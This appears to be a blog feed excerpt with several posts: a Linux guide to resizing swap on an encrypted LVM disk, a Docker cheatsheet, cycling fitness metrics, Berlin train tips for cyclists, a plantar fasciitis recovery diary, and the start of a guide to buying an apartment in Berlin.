&lt;span class="c1"&gt;# ├─sda1                   8:1    0   512M  0 part  /boot/efi&lt;/span&gt;
&lt;span class="c1"&gt;# ├─sda2                   8:2    0   1,7G  0 part  /boot&lt;/span&gt;
&lt;span class="c1"&gt;# └─sda3                   8:3    0 236,3G  0 part&lt;/span&gt;
&lt;span class="c1"&gt;#   └─sda3_crypt         253:0    0 236,3G  0 crypt&lt;/span&gt;
&lt;span class="c1"&gt;#     ├─vgxubuntu-root   253:1    0 234,4G  0 lvm   /var/snap/firefox/common/host-hunspell&lt;/span&gt;
&lt;span class="c1"&gt;#     │                                             /var/snap&lt;/span&gt;
&lt;span class="c1"&gt;#     │                                             /snap&lt;/span&gt;
&lt;span class="c1"&gt;#     │                                             /var/snap/firefox/common/host-hunspell&lt;/span&gt;
&lt;span class="c1"&gt;#     │                                             /&lt;/span&gt;
&lt;span class="c1"&gt;#     └─vgxubuntu-swap_1 253:2    0   1,9G  0 lvm   [SWAP]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here, it's &lt;code&gt;└─sda3_crypt&lt;/code&gt;. And we have a swap partition of 1.9G.&lt;/p&gt;
&lt;p&gt;Now, boot your Linux from a USB stick and open a terminal:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo su
&lt;span class="c1"&gt;# `sudo`    =&amp;gt; Execute a command as another user.&lt;/span&gt;
&lt;span class="c1"&gt;# `sudo su [user]` =&amp;gt; Run a command with substitute user, default is root.&lt;/span&gt;

&lt;span class="c1"&gt;# Encrypted device should NOT be unlocked&lt;/span&gt;
lsblk &lt;span class="c1"&gt;# =&amp;gt; list block devices&lt;/span&gt;
    &lt;span class="c1"&gt;# └─sda6 =&amp;gt; no `crypt`/`lvm``&lt;/span&gt;

&lt;span class="c1"&gt;# Unlock encrypted device&lt;/span&gt;
cryptsetup open /dev/sda6 crypt &lt;span class="c1"&gt;# Enter passphrase&lt;/span&gt;
    &lt;span class="c1"&gt;# `cryptsetup` =&amp;gt; Manage dm-crypt + LUKS encrypted volumes.&lt;/span&gt;
    &lt;span class="c1"&gt;# `cryptsetup open &amp;lt;device&amp;gt; &amp;lt;name&amp;gt;` =&amp;gt; Opens encrypted lv as &amp;lt;name&amp;gt;&lt;/span&gt;

&lt;span class="c1"&gt;# Get logical volume identifiers&lt;/span&gt;
lsblk
    &lt;span class="c1"&gt;# └─sda6                  8:6    0 464,6G  0 part&lt;/span&gt;
    &lt;span class="c1"&gt;#   └─sda6_crypt        253:0    0 464,5G  0 crypt&lt;/span&gt;
    &lt;span class="c1"&gt;#     ├─vgubuntu-root   253:1    0 463,6G  0 lvm   /&lt;/span&gt;
    &lt;span class="c1"&gt;#     └─vgubuntu-swap_1 253:2    0   980M  0 lvm   [SWAP]&lt;/span&gt;

&lt;span class="c1"&gt;# Shrink logical root volume AND filesystem&lt;/span&gt;
lvresize --verbose --resizefs -L -15G /dev/mapper/vgubuntu-root
    &lt;span class="c1"&gt;# `lvresize` &amp;lt;volume&amp;gt; =&amp;gt; resize a logical volume&lt;/span&gt;
    &lt;span class="c1"&gt;#   --verbose  =&amp;gt; Give more info.&lt;/span&gt;
    &lt;span class="c1"&gt;#   --resizefs =&amp;gt; Resize filesystem AND LV with fsadm(8).&lt;/span&gt;
    &lt;span class="c1"&gt;#   -L         =&amp;gt; Specifies the new size of the LV,&lt;/span&gt;
    &lt;span class="c1"&gt;#                 +/- add/subtracts to/from current size, g|G is GiB.&lt;/span&gt;

&lt;span class="c1"&gt;# Check filesystem of logical root volume for errors&lt;/span&gt;
e2fsck -f /dev/mapper/vgubuntu-root
    &lt;span class="c1"&gt;# `e2fsck`&amp;lt;fs-path&amp;gt; =&amp;gt; Check a Linux ext2/ext3/ext4 file system&lt;/span&gt;
    &lt;span class="c1"&gt;#   -f =&amp;gt; Force checking even if the file system seems clean.&lt;/span&gt;

&lt;span class="c1"&gt;# Increase swapsize&lt;/span&gt;
lvresize --verbose -L +15G /dev/mapper/vgubuntu-swap_1
&lt;span class="c1"&gt;# Format to make it usable&lt;/span&gt;
mkswap /dev/mapper/vgubuntu-swap_1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, deactive the volume group: &lt;code&gt;vgchange -a n&lt;/code&gt; or &lt;code&gt;vgchange -a n ubuntu-vg&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And finally: &lt;code&gt;cryptsetup close crypt; reboot&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;After rebooting, check the sizes using &lt;code&gt;lsblk&lt;/code&gt;, &lt;code&gt;swapon -s&lt;/code&gt; and &lt;code&gt;free -h&lt;/code&gt;. That's it!&lt;/p&gt;
&lt;h1 id="adding-a-new-swap-partition"&gt;Adding a new SWAP partition&lt;/h1&gt;
&lt;p&gt;The steps are the same: reboot on a USB stick, &lt;code&gt;sudo su&lt;/code&gt; and &lt;code&gt;cryptsetup open /dev/sda6 crypt&lt;/code&gt;. Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;lvresize --verbose --resizefs -L -16G /dev/mapper/ubuntu--vg-ubuntu--lv
e2fsck -f /dev/mapper/ubuntu--vg-ubuntu--lv
lvdisplay &lt;span class="c1"&gt;# Check all is fine, and find the VG name, needed for the next command&lt;/span&gt;
lvcreate -n swap -L 16G ubuntu-vg
mkswap /dev/mapper/ubuntu--vg-swap
lsblk &lt;span class="c1"&gt;# Check all looks ok. At this point, the last line should read `└─ubuntu--vg-swap 252:2    0   16G  0 lvm`&lt;/span&gt;

&lt;span class="c1"&gt;# The next steps are the same as for editing an existing SWAP partition&lt;/span&gt;
vgchange -a n
cryptsetup close crypt&lt;span class="p"&gt;;&lt;/span&gt; reboot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, edit &lt;code&gt;/etc/fstab&lt;/code&gt; by adding this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/dev/mapper/vgxubuntu-swap_1 none swap sw &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
swapon -a &lt;span class="c1"&gt;# Enable it&lt;/span&gt;

&lt;span class="c1"&gt;# Verify it works&lt;/span&gt;
free -m
&lt;span class="c1"&gt;# or&lt;/span&gt;
swapon -s
cat /proc/swaps
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Reboot. All should work.&lt;/p&gt;</content><category term="Linux"></category><category term="swap"></category><category term="lvm"></category><category term="linux"></category></entry><entry><title>Docker</title><link href="https://romainpellerin.eu/docker.html" rel="alternate"></link><published>2022-07-05T12:30:00+02:00</published><updated>2022-07-15T11:53:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2022-07-05:/docker.html</id><summary type="html">&lt;p&gt;My cheatsheet for Docker&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;WIP ARTICLE&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Up until now, Docker has always been a mystery to me. Mostly because I never took time to dive into it. For the past year, I was lucky enough to have David Gageot as my manager at Doctolib. As far as I know, he was one of the early contributors to it, and remains to this day one of the main contributors. Docker has no secrets for him. Here is a video starring David himself, a year after Docker was released to the public:&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/d3bUoz_G2VU?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;During his time at Doctolib, I learned quite a lot. And I kept feeding my interest for Docker even after he left. Therefore this article serves as my personal cheatseet for Docker. It is a collection of basic knownledge and advanced tricks.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Docker images can run nested Docker images (not advisable for production)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FROM &amp;lt;image name&amp;gt;&lt;/code&gt;: sets the base image for our Docker image&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WORKDIR /home/yolo&lt;/code&gt; creates the &lt;code&gt;/home/yolo&lt;/code&gt; directory&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CMD&lt;/code&gt; vs &lt;code&gt;RUN&lt;/code&gt;: &lt;code&gt;RUN&lt;/code&gt; is a build step, it creates a layer in the docker image and is therefore cached. &lt;code&gt;CMD&lt;/code&gt; is the command to execute when runnning a docker image. If the command outputs something in stdin, it can be reused by other Docker images (see below).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ADD . /home/yolo&lt;/code&gt; copy the output of the base image (through stdin) to &lt;code&gt;/home/app&lt;/code&gt;. If the base image (&lt;code&gt;FROM xxx&lt;/code&gt;) output assets as a result of its &lt;code&gt;CMD&lt;/code&gt; command, the files will end up in &lt;code&gt;/home/yolo&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/37513511/whats-the-difference-between-the-docker-commands-run-build-and-create"&gt;What's the difference between the docker commands: run, build, and create&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Basic common commands:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;docker build -t toto .&lt;/code&gt;: builds an image from the Dockerfile in the current folder and labels it "toto"&lt;/li&gt;
&lt;li&gt;&lt;code&gt;docker run --init --rm -ti toto bash&lt;/code&gt;: starts a new container from the image labeled "toto" and opens a shell in it&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="resources"&gt;Resources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.docker.com/develop/develop-images/dockerfile_best-practices/"&gt;Best practices for writing Dockerfiles&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Linux"></category><category term="docker"></category><category term="linux"></category><category term="container"></category></entry><entry><title>FTP, VO2 max, MAP, max HR: what are those?</title><link href="https://romainpellerin.eu/ftp-vo2-max-map-max-hr-what-are-those.html" rel="alternate"></link><published>2022-07-03T23:20:00+02:00</published><updated>2025-02-02T22:47:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2022-07-03:/ftp-vo2-max-map-max-hr-what-are-those.html</id><summary type="html">&lt;p&gt;These are the questions every cyclist asked themself once&lt;/p&gt;</summary><content type="html">&lt;p&gt;Yeah, I'm into cycling. Road cycling, to be precise. It's been two years now. I've never felt so good in my life. I've become a sportsman. Me, who used to smoke half a pack a day and do no exercise at all.&lt;/p&gt;
&lt;p&gt;So after two years of ramp-up, I have now reached a stage at which I'm into improving my performance through data. Of course I already got myself a bike computer, a heart rate strap and a cadence sensor. The next level is now to measure body metrics, beyond the "simple" heart rate. We're talking FTP, VO2 max, MAP, max HR. BOOM.&lt;/p&gt;
&lt;h1 id="ftp"&gt;FTP&lt;/h1&gt;
&lt;p&gt;What on Earth is that? Well it stands for &lt;strong&gt;Functional Threshold Power&lt;/strong&gt;. Basically it's the most accurate metric about how fit and how well a person is performing that one can use to establish training zones. It is the maximum mean power (aka MMP) one can sustain for one hour, measured in watts (absolute value or watts per kilogram). Known as CP60, for &lt;em&gt;Critical Power 60&lt;/em&gt;. In other words, the best average power that can be held during a full hour.&lt;/p&gt;
&lt;p&gt;In running, &lt;a href="https://youtu.be/k8oADrC5Q1w?t=526"&gt;this is similar to the second ventilatory threshold (&lt;em&gt;SV2&lt;/em&gt; in French)&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="how-to-measure-it"&gt;How to measure it&lt;/h2&gt;
&lt;p&gt;With a specialized sports doctor in a laboratory or with a power meter (in the pedals for instance).&lt;/p&gt;
&lt;p&gt;Instead of a full hour, a 20-min test can be done (CP20). 95% of the results is often considered to be close enough to the FTP.&lt;/p&gt;
&lt;h1 id="vo2-max"&gt;VO2 max&lt;/h1&gt;
&lt;p&gt;It refers to how much oxygen one's body can absorb. This is a measure used to determine other metrics, such as the MAP (see below).&lt;/p&gt;
&lt;h2 id="how-to-measure-it_1"&gt;How to measure it&lt;/h2&gt;
&lt;p&gt;As far as I know, only in a laboratory, on a stationary bike or while running.&lt;/p&gt;
&lt;h1 id="map"&gt;MAP&lt;/h1&gt;
&lt;p&gt;It stands for &lt;strong&gt;Maximal Aerobic Power&lt;/strong&gt; (in French "PMA", for &lt;em&gt;Puissance Maximale Aérobie&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;It is the minimum power in watts reached when at VO2 max (when the body is consuming the maximum of 02 it can).&lt;/p&gt;
&lt;p&gt;In running, this is called MAS (Maximal Aerobic Speed, &lt;em&gt;VMA&lt;/em&gt; in French).&lt;/p&gt;
&lt;h2 id="how-to-measure-it_2"&gt;How to measure it&lt;/h2&gt;
&lt;p&gt;Either with an incremental test, with a warm up phase ahead of the test. Otherwise, measure the maximum mean power (MMP) held during 5 or 6 minutes (= CP6 - Critical Power 6).&lt;/p&gt;
&lt;p&gt;Like the FTP, it must be measured with a power meter.&lt;/p&gt;
&lt;h1 id="max-hr"&gt;Max HR&lt;/h1&gt;
&lt;p&gt;Well, it's the maximum heart rate one can reach. As simple as that.&lt;/p&gt;
&lt;p&gt;There are a few criticized inaccurate but known formulas to calculate the theoretical maximum hear rate of somebody:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;214 - (0.8 * age), for men&lt;/li&gt;
&lt;li&gt;209 - (0.9 * age), for women&lt;/li&gt;
&lt;li&gt;220 - age, for all (the most outdated formula, and of course the most popular)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Oftentimes, a fit person will exceed their theoretical max HR. I'm 29, supposedly my maximum HR should be 190-191. Yet, I reached 194 twice recently.&lt;/p&gt;
&lt;p&gt;The best way to find out what your max HR is to go crazy, climbing some hills, or sprinting, repeatedly. Google should be able to help you find ideas or protocols.&lt;/p&gt;
&lt;h1 id="what-to-do-with-all-of-that"&gt;What to do with all of that?&lt;/h1&gt;
&lt;p&gt;Now that you measured some metrics and gained data, you can start establishing training zones, for instance based on your FTP or max HR.&lt;/p&gt;
&lt;p&gt;Have fun on the bike :)&lt;/p&gt;</content><category term="Bikes"></category><category term="bike"></category><category term="training"></category></entry><entry><title>Living in Germany: From Berlin to Brocken Over a Weekend</title><link href="https://romainpellerin.eu/living-in-germany-from-berlin-to-brocken-over-a-weekend.html" rel="alternate"></link><published>2022-05-08T23:15:00+02:00</published><updated>2023-02-08T11:58:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2022-05-08:/living-in-germany-from-berlin-to-brocken-over-a-weekend.html</id><summary type="html">&lt;p&gt;Tips for cyclists willing to go to Brocken in the Harz from Berlin&lt;/p&gt;</summary><content type="html">&lt;p&gt;I am planning a trip from Berlin to the &lt;a href="https://www.nationalpark-harz.de/en"&gt;Harz&lt;/a&gt;, specifically the peak Brocken. As finding information turned out to be quite hard, I decided to sum things up here in a short article.&lt;/p&gt;
&lt;h1 id="the-train-ride"&gt;The train ride&lt;/h1&gt;
&lt;p&gt;Two options: ride a Deutsche Bahn train, any day of the week, almost any hour. Or ride the famous &lt;strong&gt;Harz-Berlin-Express&lt;/strong&gt; (HBZ) operated by &lt;a href="https://www.abellio.de/"&gt;Abellio&lt;/a&gt;, but only on Saturdays and Sundays. Both types of trains can be booked on the DB website. You can also book the HBZ tickets directly on &lt;a href="https://www.abellio.de/tickets-tarife/verkaufsstellen"&gt;Abellio's website&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="with-a-bike"&gt;With a bike&lt;/h1&gt;
&lt;p&gt;Brocken is located in the german state called "Saxony-Anhalt", where taking a bike on a train is free (information found &lt;a href="https://www.abellio.de/tickets-und-tarife"&gt;here&lt;/a&gt; and &lt;a href="https://www.bahn.de/service/individuelle-reise/bahn_und_fahrrad/rad-nahverkehr/bahn_und_bike_sanhalt"&gt;here&lt;/a&gt;). Therefore, when bringing a bike on a Deutsche Bahn train, just book a bike ticket only for the part Berlin-Genthin. In other words, in the DB Navigator mobile app, just get a VBB Fahrrad ticket for the overall network of VBB (3.6 euros).&lt;/p&gt;
&lt;p&gt;If riding a Harz-Berlin Express train, you must book a 3-euro bike ticket. I could not find where to book them online, so do it at a train station.&lt;/p&gt;
&lt;h1 id="useful-resources"&gt;Useful resources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://reiselife.com/harz-berlin-express/"&gt;More information about this trip found on another blog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Travels"></category><category term="berlin"></category><category term="germany"></category><category term="bike"></category><category term="brocken"></category></entry><entry><title>Plantar Fasciitis</title><link href="https://romainpellerin.eu/plantar-fasciitis.html" rel="alternate"></link><published>2022-04-26T00:30:00+02:00</published><updated>2024-10-22T23:46:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2022-04-26:/plantar-fasciitis.html</id><summary type="html">&lt;p&gt;Yay, another injury after too much runnning. Let's see how I heal this time...&lt;/p&gt;</summary><content type="html">&lt;p&gt;Alright alright alright. April the 3rd, 2022, I ran my first official half-marathon, in Berlin. Oh boy was it tough! But I did it. 2 hours and 22 seconds, official time. Not bad, although I must admit I was aiming under 2 hours. But let's blame Strava, as it was giving me the finish line 500 meters shorter. Ha ha!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/half-marathon-2022.jpg" alt="Photo of me running" /&gt;
&lt;figcaption&gt;Me, about to cross the finish line&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Of course, a race wouldn't be a race without a propre injury, would it? Well, let's be honest, it's not that bad of an injury, but still. I got... "Plantar fasciitis" (in French: &lt;em&gt;aponévrosite plantaire&lt;/em&gt; or &lt;em&gt;fasciapathie plantaire&lt;/em&gt; or &lt;em&gt;fasciite plantaire&lt;/em&gt;)! To be fair, it started a week prior to the race. I overtrained (I guess). Indeed, I ran 17 kilometers exactly one week before. The next day the pain came. Not too strong, but strong enough for me to call it a discomfort. I ran the race nonethless.&lt;/p&gt;
&lt;p&gt;A &lt;a href="https://www.mayoclinic.org/diseases-conditions/plantar-fasciitis/symptoms-causes/syc-20354846"&gt;random Google search&lt;/a&gt; tells me that it's&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"[...] one of the most common causes of heel pain. It involves inflammation of a thick band of tissue that runs across the bottom of each foot and connects the heel bone to the toes (plantar fascia)."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Easy enough, I can understand that.&lt;/p&gt;
&lt;p&gt;As the article describes it, you feel the pain mostly in the morning near the heel, right out of bed, and after a few minutes of walking, it starts to fade away, and eventually vanishes, until the next day.&lt;/p&gt;
&lt;p&gt;Out of all the websites that I read (not many in all fairness), the best and easiest treatment is to go easy on exercising for at least a few weeks. I am currently at the end of my first "week off", I'll keep monitoring my pain and see how long it takes to completely heal. I only cycle these days, no more running until the pain is gone. I don't want it to become a chronic pain. Stretching a few times per day is also advised. Wearing a splint at night to hold the whole thing might also be considered. As to me, I'll keep resting for the time being and see how it goes. 🤞&lt;/p&gt;
&lt;p&gt;Here is a simple exercice to do at home to help the healing process: &lt;a href="https://www.youtube.com/watch?v=dQmn1sP70PI&amp;amp;t=55"&gt;Exercice maison pour guérir la Fasciite plantaire / Aponévrosite plantaire&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here are some additional French online resources about it:&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/4pNBatSoBKU?rel=0&amp;amp;start=218" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=t8Zg-iy5Uck"&gt;La FASCIITE PLANTAIRE, finissons-en ! - EXPLICATIONS ET TRAITEMENT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=0mhGsu3icLg"&gt;Aponévrosite Plantaire (fasciite plantaire) : traitement kiné et exercices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=agLuZLFzcqg&amp;amp;t=500"&gt;Comment j'ai traité RAPIDEMENT mon APONÉVROSITE plantaire ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=LB_Bw5K2QKA"&gt;Je devine TON Histoire en regardant tes PIEDS ( fasciite plantaire / épine calcanéenne/pieds plat)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=G1e3TTKQDIQ"&gt;Visite chez le physio : ou en est ma douleur au pied ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=S52UVKkDI5w"&gt;COMMENT TRAITER L'APONÉVROSITE PLANTAIRE ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://podformance.com/fasciite-plantaire-chronique-6-mois-et-plus-differents-traitements-a-envisager/"&gt;Fasciite plantaire chronique (6 mois et plus) – Différents traitements à envisager&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=QuVv1IGD1Hc"&gt;3 exercices pour soulager l'aponévrosite plantaire&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=aJt6U5kMaJ4"&gt;Massage de l'aponévrose plantaire - Fasciite plantaire&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=DnmRzukeUJI"&gt;Comment soigner l'aponévrosite plantaire ? Running et Sport&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=ZFXEbn-66Sc"&gt;SOIGNE 🥰 ta TENDINITE d’Achille et ton APONEVROSITE plantaire 😱grâce à ces EXERCICES de KINE.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=Yjga6azmvhg"&gt;PLANTAR FASCITIS / curing it naturally without inserts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="update-2023-03-31"&gt;UPDATE: 2023-03-31&lt;/h2&gt;
&lt;p&gt;Dang it's been a year!!! So many things happened! First of all, I ran again more than 10 kms for the first time since the half-marathon... 2 days ago 😅. Why? you ask. I'm glad you asked! That thing took forever to heal... more than 9 months. I think last Christmas I could still feel it from time to time. So what happened? July or August last year, I went to the doctor, cause I was still feeling the pain EVERY MORNING. She confirmed my own diagnosis, I have a plantar fasciitis. Good news, in a way. She advises rest (of course), insoles and physiotherapie. Perfect, let's do this! 6 sessions of physiotherapie later, no changes (or very slight but not because of the therapy). The physiotherapist clearly was not seeing many patients with that sort of injury, she did her best to come up with creative exercises but I am pretty sure that did little. Next, insoles. To be honest, I'm not sure how much this helped. I got them in August or September, I would have assumed that if they worked, I should have seen a rapid improvement - that did not happen. Like I said, until Christmas I was feeling moderate/litte plain quite often. Anyway, during that whole year I basically stopped running, or 3 or 4 kms once or twice... lol. Then, since January this year, I pretty much never felt the pain again, at least never in the morning. Every once in a while I would feel some tickling in the foot randomly, just as a reminder that something had happened, but no pain per se, and that would only last a few seconds when walking. And now, as I'm writing these lines, I can't remember the last time I felt any kind of pain in this foot because of this injury! 🎉&lt;/p&gt;
&lt;p&gt;If you are reading this because you're injured, you're not alone 💪. Give it some time, go easy on running, maybe get insoles, use a massage ball if you have one, do some calf and foot stretching in a staircase, while standing on the edge of a step when facing the stairs (slowly let your heels drop down, repeat a few times). That should do!&lt;/p&gt;
&lt;h2 id="update-2023-04-02"&gt;UPDATE: 2023-04-02&lt;/h2&gt;
&lt;p&gt;Just ran 22 kms today!!! 🎉 No pain, felt great!&lt;/p&gt;
&lt;h2 id="update-2023-10-01"&gt;UPDATE: 2023-10-01&lt;/h2&gt;
&lt;p&gt;Since April, quite a lot happened. First of all, soon after running these 22 kms, I took up running again more consisently. Over the following few weeks, my foot became sore again at times. For very short amounts of time, occasionally, and rarely in the heel but rather random places &lt;strong&gt;in&lt;/strong&gt; the foot. Mild short pain. I've been monitoring this closely. Nothing unbearable at all. It just happens randomly throughout the day, seating or walking, and does not last. On a scale from 0 to 10, it's usually around 2. Let's see how this goes... I just started muscle strengthening in an attempt to fix this for good.&lt;/p&gt;
&lt;h2 id="update-2024-04-14"&gt;UPDATE: 2024-04-14&lt;/h2&gt;
&lt;p&gt;I think I'm 100% healed. Since the beginning of 2024. In November last year, I bought the Asics Gel-Kayano 30 shoes (they're stability shoes) and increased my running frequency significantly. I'm averaging 25 kms per week these days. No more pain at all, not in the morning, not thoughout the day. I still "feel" traces of that injury though, as if my foot remained a bit weaker than my other foot. I guess it'll stay like that for life, or at least many years. But no more pain at all. Just ran Berlin's half marathon last week, felt great, I even PR'd: 1:41:51!&lt;/p&gt;
&lt;h2 id="update-2024-10-22"&gt;UPDATE: 2024-10-22&lt;/h2&gt;
&lt;p&gt;Those "traces" I was mentioning just above, they're gone. Completely. Since many months ago, can't remember when exactly. So all in all, this injury took 2 years to FULLY heal.&lt;/p&gt;</content><category term="Running"></category><category term="plantar fasciitis"></category><category term="health"></category><category term="running"></category></entry><entry><title>Living in Germany: How to buy an apartment in Berlin</title><link href="https://romainpellerin.eu/living-in-germany-how-to-buy-an-apartment-in-berlin.html" rel="alternate"></link><published>2022-04-24T19:00:00+02:00</published><updated>2025-02-24T18:28:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2022-04-24:/living-in-germany-how-to-buy-an-apartment-in-berlin.html</id><summary type="html">&lt;p&gt;Some tips and tricks about buying real estate in Berlin&lt;/p&gt;</summary><content type="html">&lt;p&gt;There's already plenty of resources online. Specifically, there is &lt;a href="https://romainpellerin.eu/extra/Buying_an_Apartment_in_Germany.pdf"&gt;this unique priceless PDF&lt;/a&gt; that I found on &lt;a href="https://www.reddit.com/r/berlin/comments/n5c5jl/how_to_buy_an_apartment_in_germany_focuses_on/"&gt;Reddit&lt;/a&gt;, which covers pretty much everything in detail.&lt;/p&gt;
&lt;p&gt;For French speakers, here is a short video that explains in 10 minutes the steps to buy an apartment in Germany.&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/8lN4lKSqFSM" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;But here I wanted to write a summary/short article, with the key facts and steps, about buying an apartment in Berlin. Here we go!&lt;/p&gt;
&lt;h1 id="1-know-what-you-can-afford"&gt;1. Know what you can afford&lt;/h1&gt;
&lt;h2 id="the-one-time-payment-for-the-apartment-and-the-side-costs"&gt;The one-time payment for the apartment and the side costs&lt;/h2&gt;
&lt;p&gt;Ask around you. Ask loan brokers. Use online tools, such as &lt;a href="https://hypofriend.de/en/criteria/start"&gt;this one from Hypofriend&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You must be able to afford the invoices for Notar + Grundbucheintrag (~2% of the price of the apartment), Grunderwerbsteuer (~6%) and Maklerprovision (usually 3,57% in Berlin at the time of writing) with your equity capital/own money (Eigenkapital). The loan can only cover the price of the apartment (Kaufpreis). Up to 100% of the Kaufpreis can be covered by the loan, depending on the bank. You'll get the best interest rates though if you can finance 20% of the Kaufpreis with your Eigenkapital.&lt;/p&gt;
&lt;p&gt;A good rule of thumb I have once been told is that most banks will generally accept to finance up to 110 times your monthly net income. Say you earn 3,000 euros net per month, you could in theory borrow up to 330,000 euros.&lt;/p&gt;
&lt;h2 id="the-monthly-cost-of-being-a-home-owner-in-germany"&gt;The monthly cost of being a home-owner in Germany&lt;/h2&gt;
&lt;p&gt;As the owner of an apartment, you will have to pay the Hausgeld: it's money used for the common parts. It usually varies between 3 and 4 euros per square meter. For each apartment, you can get this piece of information directly on the listing or during the viewing.&lt;/p&gt;
&lt;p&gt;On top of that, you need to pay a new tax: the Grundsteuer. It's pretty cheap in Berlin.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.thelocal.de/20210930/explained-the-hidden-costs-of-buying-a-house-in-germany/"&gt;More on the topic here.&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="2-make-sure-you-have-a-schufa-score-that-is-not-too-bad"&gt;2. Make sure you have a SCHUFA Score, that is not too bad&lt;/h1&gt;
&lt;p&gt;This is especially true if you are a foreigner and do not have a German bank account, or barely use it. N26 can fuck things up and somehow not transmit any data to SCHUFA. Not having a SCHUFA Score is even worse than having a poor score, as some banks will simply not proceed at all with you, not even studying your case, since they can't get any score at all. &lt;a href="https://myhelpbuddy.com/how-to-get-your-schufa-score-for-free/"&gt;You can ask SCHUFA to provide you with the data they have about you by invoking the GDPR&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="3-the-apartment-hunt"&gt;3. The apartment hunt&lt;/h1&gt;
&lt;p&gt;Start with &lt;a href="https://www.immobilienscout24.de/"&gt;immobilienscout24&lt;/a&gt;. Set an alert to get hourly emails. Discover agencies through the website. Then check those agencies' websites. Here are some:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.immo-boerse.com/immobilien/"&gt;www.immo-boerse.com/immobilien/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.next-estate.de/de/"&gt;www.next-estate.de/de/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.engelvoelkersberlin.com/"&gt;www.engelvoelkersberlin.com/&lt;/a&gt;&lt;/li&gt;
